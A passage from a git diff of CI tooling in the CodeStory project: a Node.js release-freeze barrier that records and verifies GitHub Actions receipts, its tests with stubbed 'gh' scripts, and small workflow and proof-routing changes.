"reusable evidence", + ); + const invalidatedEvidence = stringArray( + args, + "--invalidated-evidence-json", + "invalidated evidence", + ); + const cancelledRuns = jsonArray( + args, + "--cancelled-runs-json", + "cancelled superseded runs", + ); + const broadWorkflows = values(args, "--broad-workflow"); + if (broadWorkflows.length === 0) { + fail("release freeze requires broad workflow names"); + } + if ( + process.env.GITHUB_ACTIONS !== "true" + || process.env.GITHUB_EVENT_NAME !== "workflow_dispatch" + ) { + fail("the canonical release freeze receipt may be produced only by workflow_dispatch"); + } + + if (git(["status", "--porcelain=v1", "--untracked-files=all"], repo) !== "") { + fail("release freeze requires a clean worktree, including untracked files"); + } + if ( + git(["rev-parse", "HEAD"], repo) !== commit + || git(["rev-parse", "HEAD^{tree}"], repo) !== tree + ) { + fail("checked-out Actions source does not match the declared commit and tree"); + } + + const acceptedReleasePr = releasePr(repository, releasePrNumber, { + branch, + commit, + }); + const integratedSupportPrs = supportPrNumbers.map( + (number) => supportPr(repository, number, commit, repo), + ); + + const remainingRuns = currentRuns(repository).filter( + entry => String(entry.databaseId) !== String(runId), + ); + const remainingBroadRun = remainingRuns.find((entry) => + broadWorkflows.includes(entry.workflowName) + ); + if (remainingBroadRun) { + fail( + `broad proof ${remainingBroadRun.databaseId} remains active before freeze declaration`, + ); + } + + const receipt = { + schema: 3, + authority: "github_actions", + phase, + repository, + branch, + commit, + tree, + worktree_clean: true, + remote_head: commit, + release_pr: acceptedReleasePr, + integrated_support_prs: integratedSupportPrs, + known_future_source_changes: [...contract.knownFutureSourceChanges], + planned_proof_actions: [...contract.plannedProofActions], + proof_triggering_labels: [], + proof_triggering_actions: [...contract.plannedProofActions], + reusable_evidence: reusableEvidence, + invalidated_evidence: invalidatedEvidence, + running_workflows: remainingRuns, + cancelled_superseded_runs: cancelledRuns, + next_permitted_mutation: contract.nextPermittedMutation, + acceptance_run: { + id: Number(runId), + attempt: Number(runAttempt), + workflow: ".github/workflows/source-proof.yml", + event: "workflow_dispatch", + }, + }; + receipt.digest = receiptDigest(receipt); + validateReceipt(receipt, { + repository, + commit, + tree, + runId, + runAttempt, + phase, + }); + writeFileSync(output, `${JSON.stringify(receipt, null, 2)}\n`); + const githubOutput = value(args, "--github-output"); + if (githubOutput) { + writeFileSync( + githubOutput, + `digest=${receipt.digest}\nartifact_name=${RECEIPT_ARTIFACT_PREFIX}${runAttempt}\n`, + { flag: "a" }, + ); + } + process.stdout.write(`${receipt.digest}\n`); +} + +function verifyFile(args) { + const receipt = parseJsonFile(required(args, "--receipt"), "freeze receipt"); + const repository = required(args, "--repository"); + const commit = required(args, "--commit"); + const tree = required(args, "--tree"); + validateReceipt(receipt, { + repository, + commit, + tree, + runId: required(args, "--run-id"), + runAttempt: required(args, "--run-attempt"), + phase: required(args, "--phase"), + }); + process.stdout.write(`${receipt.digest}\n`); +} + +export function acceptedFreezeStatus(statuses, { tree, digest }) { + if (!Array.isArray(statuses)) { + fail("release freeze statuses are missing"); + } + const context = `${STATUS_PREFIX}/${digest}`; + const newest = statuses + .filter(status => status?.context === context) + .reduce((latest, status) => { + if (!latest) { + return status; + } + const latestId = BigInt(String(latest.id ?? "0")); + const statusId = BigInt(String(status.id ?? "0")); + return statusId > latestId ? status : latest; + }, undefined); + if (newest?.state !== "success" || newest?.description !== `tree=${tree}`) { + return undefined; + } + return newest; +} + +function matchingStatus({ repository, commit, tree, digest }) { + const statuses = JSON.parse(gh([ + "api", + `repos/${repository}/commits/${commit}/statuses?per_page=100`, + ])); + return acceptedFreezeStatus(statuses, { tree, digest }); +} + +function downloadAuthenticatedReceipt({ repository, run }) { + const artifactName = `${RECEIPT_ARTIFACT_PREFIX}${run.run_attempt}`; + const payload = JSON.parse(gh([ + "api", + `repos/${repository}/actions/runs/${run.id}/artifacts?per_page=100`, + ])); + const matches = (payload.artifacts ?? []).filter( + artifact => artifact?.name === artifactName && artifact?.expired === false, + ); + if (matches.length !== 1) { + fail(`acceptance run must retain exactly one unexpired ${artifactName}`); + } + const directory = mkdtempSync(path.join(tmpdir(), "codestory-freeze-receipt-")); + try { + gh([ + "run", + "download", + String(run.id), + "--repo", + repository, + "--name", + artifactName, + "--dir", + directory, + ]); + const entries = readdirSync(directory); + if ( + entries.length !== 1 + || entries[0] !== RECEIPT_FILE + || !lstatSync(path.join(directory, RECEIPT_FILE)).isFile() + || lstatSync(path.join(directory, RECEIPT_FILE)).nlink !== 1 + ) { + fail("release freeze artifact must contain one singly linked canonical receipt"); + } + return { + artifact: matches[0], + receipt: parseJsonFile( + path.join(directory, RECEIPT_FILE), + "authenticated freeze receipt", + ), + }; + } finally { + rmSync(directory, { recursive: true, force: true }); + } +} + +function verifyStatus(args) { + const repository = required(args, "--repository"); + const commit = required(args, "--commit"); + const tree = required(args, "--tree"); + const digest = required(args, "--receipt-digest"); + const phase = required(args, "--phase"); + const status = matchingStatus({ + repository, + commit, + tree, + digest, + phase, + }); + if (!status) { + fail("no successful exact-head release freeze status matches this receipt digest and tree"); + } + const target = /\/actions\/runs\/([1-9][0-9]*)$/u.exec(String(status.target_url ?? "")); + if (!target) { + fail("release freeze success status has no authenticated Actions run"); + } + const run = JSON.parse(gh([ + "api", + `repos/${repository}/actions/runs/${target[1]}`, + ])); + const { artifact, receipt } = downloadAuthenticatedReceipt({ + repository, + run, + }); + const currentReleasePr = releasePr(repository, receipt?.release_pr?.number, { + branch: receipt?.branch, + commit, + }); + if (currentReleasePr.base_commit !== receipt?.release_pr?.base_commit) { + fail("release PR base advanced after freeze acceptance"); + } + const jobsPayload = JSON.parse(gh([ + "api", + `repos/${repository}/actions/runs/${target[1]}/jobs?per_page=100`, + ])); + validateAcceptanceProvenance({ + status, + run, + jobs: jobsPayload.jobs, + artifact, + receipt, + repository, + commit, + tree, + digest, + phase, + }); + process.stdout.write(`${digest}\n`); +} + +function main() { + const [command, ...args] = process.argv.slice(2); + if (command === "record-actions-receipt") { + recordActionsReceipt(args); + } else if (command === "verify-file") { + verifyFile(args); + } else if (command === "verify-status") { + verifyStatus(args); + } else if (command === "cancel-superseded") { + cancelSuperseded(args); + } else if (command === "invalidate-superseded") { + invalidateSuperseded(args); + } else { + fail( + "usage: release-freeze-barrier.mjs " + + " ...", + ); + } +} + +if (import.meta.url === `file://${process.argv[1]}`) { + try { + main(); + } catch (error) { + process.stderr.write(`release freeze rejected: ${error.message}\n`); + process.exitCode = 1; + } +} diff --git a/.github/scripts/release-freeze-barrier.test.mjs b/.github/scripts/release-freeze-barrier.test.mjs new file mode 100644 index 000000000..137a4edf2 --- /dev/null +++ b/.github/scripts/release-freeze-barrier.test.mjs @@ -0,0 +1,726 @@ +import assert from "node:assert/strict"; +import { execFileSync, spawnSync } from "node:child_process"; +import { chmodSync, mkdirSync, mkdtempSync, writeFileSync } from "node:fs"; +import { tmpdir } from "node:os"; +import path from "node:path"; +import test from "node:test"; +import { + acceptedFreezeStatus, + receiptDigest, + validateAcceptanceProvenance, + validateReceipt, +} from "./release-freeze-barrier.mjs"; + +const REPOSITORY = "TheGreenCedar/CodeStory"; +const COMMIT = "1".repeat(40); +const TREE = "2".repeat(40); +const RUN_ID = 77; +const RUN_ATTEMPT = 2; +const NEXT_PERMITTED_MUTATION = + "crates/codestory-llama-sys/per-user-embedding-server-constant-set.json"; +const CALIBRATION_SOURCE_ACTIONS = [ + "calibration-source-acceptance", + "calibration", + "generated-constant-freeze", + "frozen-candidate-acceptance", + "source-proof", + "qualification", + "release", +]; +const FROZEN_CANDIDATE_ACTIONS = [ + "frozen-candidate-acceptance", + "source-proof", + "qualification", + "release", +]; + +function receipt(overrides = {}) { + const phase = overrides.phase ?? "calibration_source"; + const frozen = phase === "frozen_candidate"; + const plannedActions = frozen + ? FROZEN_CANDIDATE_ACTIONS + : CALIBRATION_SOURCE_ACTIONS; + const candidate = { + schema: 3, + authority: "github_actions", + phase, + repository: REPOSITORY, + branch: "codex/release", + commit: COMMIT, + tree: TREE, + worktree_clean: true, + remote_head: COMMIT, + release_pr: { + number: 1597, + base: "dev/codestory-next", + base_commit: "0".repeat(40), + head: "codex/release", + head_commit: COMMIT, + }, + integrated_support_prs: [], + known_future_source_changes: frozen ? [] : [NEXT_PERMITTED_MUTATION], + planned_proof_actions: [...plannedActions], + proof_triggering_labels: [], + proof_triggering_actions: [...plannedActions], + reusable_evidence: [], + invalidated_evidence: [], + running_workflows: [], + cancelled_superseded_runs: [], + next_permitted_mutation: frozen ? null : NEXT_PERMITTED_MUTATION, + acceptance_run: { + id: RUN_ID, + attempt: RUN_ATTEMPT, + workflow: ".github/workflows/source-proof.yml", + event: "workflow_dispatch", + }, + ...overrides, + }; + candidate.digest = receiptDigest(candidate); + return candidate; +} + +const RECEIPT_CONTEXT = { + repository: REPOSITORY, + commit: COMMIT, + tree: TREE, + runId: String(RUN_ID), + runAttempt: String(RUN_ATTEMPT), + phase: "calibration_source", +}; + +test("an exact clean pushed calibration-source Actions receipt passes", () => { + validateReceipt(receipt(), RECEIPT_CONTEXT); +}); + +test("a frozen-candidate receipt carries no future mutation and passes", () => { + const frozen = receipt({ phase: "frozen_candidate" }); + validateReceipt(frozen, { + ...RECEIPT_CONTEXT, + phase: "frozen_candidate", + }); + assert.deepEqual(frozen.known_future_source_changes, []); + assert.equal(frozen.next_permitted_mutation, null); +}); + +test("calibration-source acceptance orders calibration before the sole source proof", () => { + const actions = receipt().planned_proof_actions; + assert.ok(actions.indexOf("calibration") < actions.indexOf("generated-constant-freeze")); + assert.ok(actions.indexOf("generated-constant-freeze") < actions.indexOf("source-proof")); + assert.equal(actions.filter(action => action === "source-proof").length, 1); +}); + +test("receipts cannot cross the calibration-source and frozen-candidate phases", () => { + assert.throws( + () => validateReceipt(receipt(), { + ...RECEIPT_CONTEXT, + phase: "frozen_candidate", + }), + /authority schema/u, + ); + assert.throws( + () => validateReceipt(receipt({ phase: "frozen_candidate" }), RECEIPT_CONTEXT), + /authority schema/u, + ); +}); + +test("a newer invalidation status revokes an older accepted freeze", () => { + const acceptedReceipt = receipt(); + const context = `codestory/release-freeze/${acceptedReceipt.digest}`; + const accepted = { + id: "9007199254740993", + state: "success", + context, + description: `tree=${TREE}`, + }; + assert.equal( + acceptedFreezeStatus([accepted], { + tree: TREE, + digest: acceptedReceipt.digest, + }), + accepted, + ); + assert.equal( + acceptedFreezeStatus([ + accepted, + { + id: "9007199254740994", + state: "error", + context, + description: `superseded-by=${"3".repeat(40)}`, + }, + ], { + tree: TREE, + digest: acceptedReceipt.digest, + }), + undefined, + ); +}); + +for (const [name, mutate, pattern] of [ + ["later commit", (value) => { value.commit = "3".repeat(40); }, /exact commit and tree/u], + ["later tree", (value) => { value.tree = "4".repeat(40); }, /exact commit and tree/u], + ["dirty worktree", (value) => { value.worktree_clean = false; }, /clean worktree/u], + ["unpushed head", (value) => { value.remote_head = "5".repeat(40); }, /clean worktree/u], + ["moved release PR", (value) => { + value.release_pr.head_commit = "5".repeat(40); + }, /bind the open release PR/u], + ["unbound release base", (value) => { + value.release_pr.base_commit = ""; + }, /bind the open release PR/u], + ["undeclared source change", (value) => { + value.known_future_source_changes.push(".github/workflows/release.yml"); + }, /future changes do not match calibration_source/u], + ["caller-selected proof actions", (value) => { + value.planned_proof_actions = ["source-proof"]; + }, /exact calibration_source actions/u], + ["proof-triggering label", (value) => { + value.proof_triggering_labels = ["source-proof"]; + }, /exact calibration_source actions/u], + ["cross-attempt receipt", (value) => { + value.acceptance_run.attempt = RUN_ATTEMPT + 1; + }, /exact Actions run and attempt/u], + ["missing handoff field", (value) => { delete value.running_workflows; }, /running_workflows/u], + ["missing next mutation", (value) => { + value.next_permitted_mutation = ""; + }, /next mutation does not match calibration_source/u], + ["tampered receipt", (value) => { + value.reusable_evidence.push("unauthenticated evidence"); + }, /digest/u], +]) { + test(`freeze barrier rejects ${name}`, () => { + const candidate = receipt(); + mutate(candidate); + if (name !== "tampered receipt") { + candidate.digest = receiptDigest(candidate); + } + assert.throws( + () => validateReceipt(candidate, RECEIPT_CONTEXT), + pattern, + ); + }); +} + +function acceptanceProvenance() { + const acceptedReceipt = receipt(); + const digest = acceptedReceipt.digest; + const startedAt = "2026-07-30T12:00:00Z"; + const completedAt = "2026-07-30T12:00:06Z"; + const job = (name, stepName, labels = ["ubuntu-latest"]) => ({ + name, + status: "completed", + conclusion: "success", + head_sha: COMMIT, + run_id: RUN_ID, + run_attempt: RUN_ATTEMPT, + labels, + steps: [{ + name: stepName, + status: "completed", + conclusion: "success", + started_at: startedAt, + completed_at: completedAt, + }], + }); + return { + status: { + state: "success", + context: `codestory/release-freeze/${digest}`, + description: `tree=${TREE}`, + target_url: `https://github.com/${REPOSITORY}/actions/runs/${RUN_ID}`, + creator: { login: "github-actions[bot]", type: "Bot" }, + }, + run: { + id: RUN_ID, + run_attempt: RUN_ATTEMPT, + head_sha: COMMIT, + path: ".github/workflows/source-proof.yml", + event: "workflow_dispatch", + status: "completed", + conclusion: "success", + head_repository: { full_name: REPOSITORY }, + }, + jobs: [ + job("freeze-hostile-mutations", "Execute exact-head hostile mutation matrix"), + job( + "freeze-windows-native-probe", + "Run exact-head Windows native probe", + ["self-hosted", "Windows", "X64", "codestory-vulkan"], + ), + job("freeze-acceptance", "Publish executable release freeze"), + ], + artifact: { + name: `release-freeze-receipt-attempt-${RUN_ATTEMPT}`, + expired: false, + workflow_run: { id: RUN_ID }, + }, + receipt: acceptedReceipt, + repository: REPOSITORY, + commit: COMMIT, + tree: TREE, + digest, + phase: "calibration_source", + }; +} + +test("acceptance trusts exact Actions run, job, step, host, and duration provenance", () => { + assert.equal(validateAcceptanceProvenance(acceptanceProvenance()), 77); +}); + +for (const [name, mutate, pattern] of [ + ["caller-authored success", (value) => { + value.status.creator = { login: "TheGreenCedar", type: "User" }; + }, /not authenticated Actions acceptance/u], + ["cross-head run", (value) => { + value.run.head_sha = "3".repeat(40); + }, /run provenance changed/u], + ["wrong workflow", (value) => { + value.run.path = ".github/workflows/release.yml"; + }, /run provenance changed/u], + ["skipped hostile mutations", (value) => { + value.jobs[0].conclusion = "skipped"; + }, /not a successful exact-run job/u], + ["unprotected Windows runner", (value) => { + value.jobs[1].labels = ["self-hosted", "Windows", "X64"]; + }, /protected label codestory-vulkan/u], + ["90-second Windows probe", (value) => { + value.jobs[1].steps[0].completed_at = "2026-07-30T12:01:30Z"; + }, /under 90 seconds/u], + ["fabricated native step", (value) => { + value.jobs[1].steps[0].conclusion = "failure"; + }, /did not execute successfully/u], + ["wrong receipt artifact", (value) => { + value.artifact.name = "release-freeze-receipt-attempt-999"; + }, /receipt artifact provenance changed/u], + ["expired receipt artifact", (value) => { + value.artifact.expired = true; + }, /receipt artifact provenance changed/u], + ["cross-run receipt artifact", (value) => { + value.artifact.workflow_run.id = RUN_ID + 1; + }, /receipt artifact provenance changed/u], + ["cross-attempt receipt artifact", (value) => { + value.artifact.name = `release-freeze-receipt-attempt-${RUN_ATTEMPT + 1}`; + }, /receipt artifact provenance changed/u], + ["tampered receipt artifact", (value) => { + value.receipt.running_workflows.push({ id: 123 }); + }, /digest/u], +]) { + test(`acceptance rejects ${name}`, () => { + const value = acceptanceProvenance(); + mutate(value); + assert.throws(() => validateAcceptanceProvenance(value), pattern); + }); +} + +test("verify-file is executable and rejects a later commit", () => { + const root = mkdtempSync(path.join(tmpdir(), "codestory-freeze-")); + const receiptPath = path.join(root, "receipt.json"); + writeFileSync(receiptPath, `${JSON.stringify(receipt(), null, 2)}\n`); + const script = new URL("./release-freeze-barrier.mjs", import.meta.url); + const accepted = spawnSync( + process.execPath, + [ + script.pathname, + "verify-file", + "--receipt", + receiptPath, + "--repository", + REPOSITORY, + "--commit", + COMMIT, + "--tree", + TREE, + "--run-id", + String(RUN_ID), + "--run-attempt", + String(RUN_ATTEMPT), + "--phase", + "calibration_source", + ], + { encoding: "utf8" }, + ); + assert.equal(accepted.status, 0, accepted.stderr); + assert.equal(accepted.stdout.trim(), receipt().digest); + + const rejected = spawnSync( + process.execPath, + [ + script.pathname, + "verify-file", + "--receipt", + receiptPath, + "--repository", + REPOSITORY, + "--commit", + "8".repeat(40), + "--tree", + TREE, + "--run-id", + String(RUN_ID), + "--run-attempt", + String(RUN_ATTEMPT), + "--phase", + "calibration_source", + ], + { encoding: "utf8" }, + ); + assert.notEqual(rejected.status, 0); + assert.match(rejected.stderr, /exact commit and tree/u); +}); + +test("record-actions-receipt refuses to mint authority outside GitHub Actions", () => { + const root = mkdtempSync(path.join(tmpdir(), "codestory-freeze-outside-actions-")); + const script = new URL("./release-freeze-barrier.mjs", import.meta.url); + const result = spawnSync( + process.execPath, + [ + script.pathname, + "record-actions-receipt", + "--repo", + root, + "--repository", + REPOSITORY, + "--branch", + "codex/release", + "--commit", + COMMIT, + "--tree", + TREE, + "--release-pr", + "1", + "--output", + path.join(root, "receipt.json"), + "--run-id", + String(RUN_ID), + "--run-attempt", + String(RUN_ATTEMPT), + "--phase", + "calibration_source", + "--support-prs-json", + "[]", + "--broad-workflow", + "Exact-head source proof", + ], + { + encoding: "utf8", + env: { + ...process.env, + GITHUB_ACTIONS: "", + GITHUB_EVENT_NAME: "", + }, + }, + ); + assert.notEqual(result.status, 0); + assert.match( + result.stderr, + /canonical release freeze receipt may be produced only by workflow_dispatch/u, + ); +}); + +test("record-actions-receipt rejects a PR whose snapshot omits the live dev head", () => { + const sandbox = mkdtempSync(path.join(tmpdir(), "codestory-freeze-stale-base-")); + const root = path.join(sandbox, "repo"); + mkdirSync(root); + execFileSync("git", ["init", "-q", "-b", "codex/release", root]); + execFileSync("git", ["-C", root, "config", "user.email", "test@example.com"]); + execFileSync("git", ["-C", root, "config", "user.name", "Test"]); + writeFileSync(path.join(root, "tracked.txt"), "candidate\n"); + execFileSync("git", ["-C", root, "add", "tracked.txt"]); + execFileSync("git", ["-C", root, "commit", "-qm", "candidate"]); + const commit = execFileSync("git", ["-C", root, "rev-parse", "HEAD"], { + encoding: "utf8", + }).trim(); + const tree = execFileSync("git", ["-C", root, "rev-parse", "HEAD^{tree}"], { + encoding: "utf8", + }).trim(); + const staleBase = "a".repeat(40); + const liveBase = "b".repeat(40); + const fakeGh = path.join(sandbox, "gh"); + writeFileSync( + fakeGh, + `#!/bin/sh +if [ "$1" = "api" ] && [ "$2" = "repos/${REPOSITORY}/pulls/1597" ]; then + printf '%s\\n' '{"number":1597,"state":"open","base":{"ref":"dev/codestory-next","sha":"${staleBase}"},"head":{"ref":"codex/release","sha":"${commit}","repo":{"full_name":"${REPOSITORY}"}}}' + exit 0 +fi +if [ "$1" = "api" ] && [ "$2" = "repos/${REPOSITORY}/git/ref/heads/dev/codestory-next" ]; then + printf '%s\\n' '{"object":{"sha":"${liveBase}"}}' + exit 0 +fi +if [ "$1" = "api" ] && [ "$2" = "repos/${REPOSITORY}/compare/${liveBase}...${commit}" ]; then + printf '%s\\n' '{"status":"diverged"}' + exit 0 +fi +if [ "$1" = "api" ] && [ "$2" = "repos/${REPOSITORY}/compare/${staleBase}...${commit}" ]; then + printf '%s\\n' '{"status":"ahead"}' + exit 0 +fi +if [ "$1 $2" = "run list" ]; then + printf '%s\\n' '[]' + exit 0 +fi +exit 9 +`, + ); + chmodSync(fakeGh, 0o755); + const script = new URL("./release-freeze-barrier.mjs", import.meta.url); + const result = spawnSync( + process.execPath, + [ + script.pathname, + "record-actions-receipt", + "--repo", + root, + "--repository", + REPOSITORY, + "--branch", + "codex/release", + "--commit", + commit, + "--tree", + tree, + "--release-pr", + "1597", + "--output", + path.join(root, "receipt.json"), + "--run-id", + String(RUN_ID), + "--run-attempt", + String(RUN_ATTEMPT), + "--phase", + "calibration_source", + "--support-prs-json", + "[]", + "--reusable-evidence-json", + "[]", + "--invalidated-evidence-json", + "[]", + "--cancelled-runs-json", + "[]", + "--broad-workflow", + "Exact-head source proof", + ], + { + encoding: "utf8", + env: { + ...process.env, + GITHUB_ACTIONS: "true", + GITHUB_EVENT_NAME: "workflow_dispatch", + PATH: `${sandbox}${path.delimiter}${process.env.PATH}`, + }, + }, + ); + assert.notEqual(result.status, 0); + assert.match(result.stderr, /does not contain current dev base/u); +}); + +test("cancel-superseded rejects a cancellation request that leaves the run active", () => { + const root = mkdtempSync(path.join(tmpdir(), "codestory-freeze-gh-")); + const fakeGh = path.join(root, "gh"); + writeFileSync( + fakeGh, + `#!/bin/sh +if [ "$1 $2 $3" = "api --paginate --slurp" ]; then + case "$4" in + *status=in_progress*) + printf '%s\\n' '[ + {"workflow_runs":[{"id":123,"name":"Exact-head source proof","head_sha":"${"9".repeat(40)}","head_branch":"old","status":"in_progress","event":"workflow_dispatch","html_url":"https://example.invalid/123"}]} + ]' + ;; + *) printf '%s\\n' '[{"workflow_runs":[]}]' ;; + esac + exit 0 +fi +if [ "$1 $2" = "run cancel" ]; then + exit 0 +fi +exit 1 +`, + ); + chmodSync(fakeGh, 0o755); + const script = new URL("./release-freeze-barrier.mjs", import.meta.url); + const result = spawnSync( + process.execPath, + [ + script.pathname, + "cancel-superseded", + "--repository", + "TheGreenCedar/CodeStory", + "--commit", + COMMIT, + "--broad-workflow", + "Exact-head source proof", + ], + { + encoding: "utf8", + env: { + ...process.env, + CODESTORY_FREEZE_CANCEL_POLL_ATTEMPTS: "2", + CODESTORY_FREEZE_CANCEL_POLL_MS: "0", + PATH: `${root}${path.delimiter}${process.env.PATH}`, + }, + }, + ); + assert.notEqual(result.status, 0); + assert.match(result.stderr, /remains queued or running after cancellation/u); +}); + +test("cancel-superseded finds an obsolete proof on a later active-run page", () => { + const root = mkdtempSync(path.join(tmpdir(), "codestory-freeze-paginated-gh-")); + const fakeGh = path.join(root, "gh"); + const cancelledMarker = path.join(root, "cancelled"); + writeFileSync( + fakeGh, + `#!/bin/sh +if [ "$1 $2 $3" = "api --paginate --slurp" ]; then + case "$4" in + *status=in_progress*) + if [ -f "${cancelledMarker}" ]; then + printf '%s\\n' '[{"workflow_runs":[]}]' + else + printf '%s\\n' '[ + {"workflow_runs":[{"id":1,"name":"Draft source checks","head_sha":"${COMMIT}","head_branch":"candidate","status":"in_progress","event":"pull_request","html_url":"https://example.invalid/1"}]}, + {"workflow_runs":[{"id":999,"name":"Exact-head source proof","head_sha":"${"9".repeat(40)}","head_branch":"obsolete","status":"in_progress","event":"workflow_dispatch","html_url":"https://example.invalid/999"}]} + ]' + fi + ;; + *) printf '%s\\n' '[{"workflow_runs":[]}]' ;; + esac + exit 0 +fi +if [ "$1 $2 $3" = "run cancel 999" ]; then + : > "${cancelledMarker}" + exit 0 +fi +exit 9 +`, + ); + chmodSync(fakeGh, 0o755); + const script = new URL("./release-freeze-barrier.mjs", import.meta.url); + const result = spawnSync( + process.execPath, + [ + script.pathname, + "cancel-superseded", + "--repository", + REPOSITORY, + "--commit", + COMMIT, + "--broad-workflow", + "Exact-head source proof", + ], + { + encoding: "utf8", + env: { + ...process.env, + CODESTORY_FREEZE_CANCEL_POLL_ATTEMPTS: "2", + CODESTORY_FREEZE_CANCEL_POLL_MS: "0", + PATH: `${root}${path.delimiter}${process.env.PATH}`, + }, + }, + ); + assert.equal(result.status, 0, result.stderr); + assert.deepEqual(JSON.parse(result.stdout), { + cancelled: [{ + database_id: 999, + head_sha: "9".repeat(40), + workflow: "Exact-head source proof", + }], + }); +}); + +test("cancel-superseded rejects another active broad run on the unchanged head", () => { + const root = mkdtempSync(path.join(tmpdir(), "codestory-freeze-duplicate-gh-")); + const fakeGh = path.join(root, "gh"); + writeFileSync( + fakeGh, + `#!/bin/sh +if [ "$1 $2 $3" = "api --paginate --slurp" ]; then + case "$4" in + *status=in_progress*) + printf '%s\\n' '[ + {"workflow_runs":[{"id":456,"name":"Exact-head source proof","head_sha":"${COMMIT}","head_branch":"candidate","status":"in_progress","event":"workflow_dispatch","html_url":"https://example.invalid/456"}]} + ]' + ;; + *) printf '%s\\n' '[{"workflow_runs":[]}]' ;; + esac + exit 0 +fi +exit 1 +`, + ); + chmodSync(fakeGh, 0o755); + const script = new URL("./release-freeze-barrier.mjs", import.meta.url); + const result = spawnSync( + process.execPath, + [ + script.pathname, + "cancel-superseded", + "--repository", + "TheGreenCedar/CodeStory", + "--commit", + COMMIT, + "--broad-workflow", + "Exact-head source proof", + ], + { + encoding: "utf8", + env: { + ...process.env, + PATH: `${root}${path.delimiter}${process.env.PATH}`, + }, + }, + ); + assert.notEqual(result.status, 0); + assert.match(result.stderr, /unchanged head.*already has active/u); +}); + +test("automatic invalidation preserves an active proof for the new exact head", () => { + const root = mkdtempSync(path.join(tmpdir(), "codestory-freeze-current-gh-")); + const fakeGh = path.join(root, "gh"); + writeFileSync( + fakeGh, + `#!/bin/sh +if [ "$1 $2 $3" = "api --paginate --slurp" ]; then + case "$4" in + *status=in_progress*) + printf '%s\\n' '[ + {"workflow_runs":[{"id":789,"name":"Exact-head source proof","head_sha":"${COMMIT}","head_branch":"candidate","status":"in_progress","event":"workflow_dispatch","html_url":"https://example.invalid/789"}]} + ]' + ;; + *) printf '%s\\n' '[{"workflow_runs":[]}]' ;; + esac + exit 0 +fi +if [ "$1 $2" = "run cancel" ]; then + exit 9 +fi +exit 1 +`, + ); + chmodSync(fakeGh, 0o755); + const script = new URL("./release-freeze-barrier.mjs", import.meta.url); + const result = spawnSync( + process.execPath, + [ + script.pathname, + "invalidate-superseded", + "--repository", + "TheGreenCedar/CodeStory", + "--commit", + COMMIT, + "--broad-workflow", + "Exact-head source proof", + ], + { + encoding: "utf8", + env: { + ...process.env, + CODESTORY_FREEZE_CANCEL_POLL_ATTEMPTS: "2", + CODESTORY_FREEZE_CANCEL_POLL_MS: "0", + PATH: `${root}${path.delimiter}${process.env.PATH}`, + }, + }, + ); + assert.equal(result.status, 0, result.stderr); + assert.deepEqual(JSON.parse(result.stdout), { cancelled: [] }); +}); diff --git a/.github/scripts/route-ci-proof.mjs b/.github/scripts/route-ci-proof.mjs index 6e469fe67..1f6cb4078 100644 --- a/.github/scripts/route-ci-proof.mjs +++ b/.github/scripts/route-ci-proof.mjs @@ -30,8 +30,9 @@ const proofNeutralSurfaces = [ /^CHANGELOG\.md$/u, /^docs\//u, /^\.github\/workflows\/retrieval-engine-smoke\.yml$/u, - /^crates\/codestory-runtime\/tests\/retrieval_generalization_guard\.rs$/u, /^scripts\/(?:codestory-agent-ab-benchmark|codestory-evidence-provenance|codestory-release-evidence-gate|lint-retrieval-generalization)\.mjs$/u, + /^scripts\/lib\/retrieval-generalization-lint\.mjs$/u, + /^scripts\/tests\/lint-retrieval-generalization\.test\.mjs$/u, ]; function cleanPaths(paths) { @@ -66,16 +67,31 @@ export function selectProofScope(paths, requested = "auto") { function selfTest() { const fixtures = [ { - name: "script and guard tests do not package", + name: "generalization engine and contracts do not package", expected: "none", paths: [ ".github/workflows/retrieval-engine-smoke.yml", - "crates/codestory-runtime/tests/retrieval_generalization_guard.rs", "scripts/lint-retrieval-generalization.mjs", + "scripts/lib/retrieval-generalization-lint.mjs", + "scripts/tests/lint-retrieval-generalization.test.mjs", "docs/testing/retrieval-architecture.md", "CHANGELOG.md", ], }, + { + name: "nearby generalization library paths do not inherit the narrow exemption", + expected: "full", + paths: [ + "scripts/lib/retrieval-generalization-lint-helper.mjs", + ], + }, + { + name: "nearby generalization test paths do not inherit the narrow exemption", + expected: "full", + paths: [ + "scripts/tests/lint-retrieval-generalization-helper.test.mjs", + ], + }, { name: "Mac lifecycle changes stay on Mac", expected: "macos", @@ -124,13 +140,16 @@ function selfTest() { if (selectProofScope(fixtures[0].paths, "macos") !== "macos") { throw new Error("explicit promotion must be able to widen an inferred scope"); } - if (selectProofScope(fixtures[2].paths, "macos") !== "full") { + const fullFixture = fixtures.find(({ name }) => + name === "runtime identity changes use every platform" + ); + if (selectProofScope(fullFixture.paths, "macos") !== "full") { throw new Error("explicit promotion must not narrow an inferred scope"); } - if (selectProofScope(fixtures[2].paths, "windows") !== "windows") { + if (selectProofScope(fullFixture.paths, "windows") !== "windows") { throw new Error("coordinator Windows proof must select only Windows x64 packaging"); } - if (selectProofScope(fixtures[2].paths, "linux") !== "linux") { + if (selectProofScope(fullFixture.paths, "linux") !== "linux") { throw new Error("coordinator Linux proof must select only Linux x64 packaging"); } } diff --git a/.github/workflows/auto-release.yml b/.github/workflows/auto-release.yml index 964b47849..d07cdc9d5 100644 --- a/.github/workflows/auto-release.yml +++ b/.github/workflows/auto-release.yml @@ -27,7 +27,7 @@ permissions: concurrency: group: auto-release-${{ github.ref }} - cancel-in-progress: false + cancel-in-progress: true jobs: detect-version: @@ -61,7 +61,10 @@ jobs: needs: detect-version if: needs.detect-version.outputs.should_release == 'true' && needs.detect-version.outputs.release_lane == 'native' permissions: - actions: read + actions: write + # This is the lane that actually publishes releases, so it is the lane whose token has to be + # able to read the lost-runner annotation. A called workflow cannot widen the caller's grant. + checks: read contents: write pull-requests: read uses: ./.github/workflows/release.yml diff --git a/.github/workflows/frozen-candidate-quality.yml b/.github/workflows/frozen-candidate-quality.yml new file mode 100644 index 000000000..ecb952d6e --- /dev/null +++ b/.github/workflows/frozen-candidate-quality.yml @@ -0,0 +1,314 @@ +name: Optional frozen-candidate quality evaluation + +on: + workflow_call: + inputs: + version: + description: Exact frozen-candidate release version. + required: true + type: string + ref: + description: Exact frozen-candidate source commit. + required: true + type: string + +permissions: + actions: read + contents: read + +jobs: + quality: + name: Optional frozen-candidate Axios v2 quality + continue-on-error: true + runs-on: [self-hosted, macOS, ARM64, codestory-metal] + environment: macos-metal-release + timeout-minutes: 60 + steps: + - name: Checkout exact frozen candidate + uses: actions/checkout@v5 + with: + ref: ${{ inputs.ref }} + fetch-depth: 0 + + - name: Capture optional quality host evidence + shell: bash + run: | + set -euo pipefail + mkdir -p target/frozen-candidate-quality + { + sw_vers + uname -a + uname -m 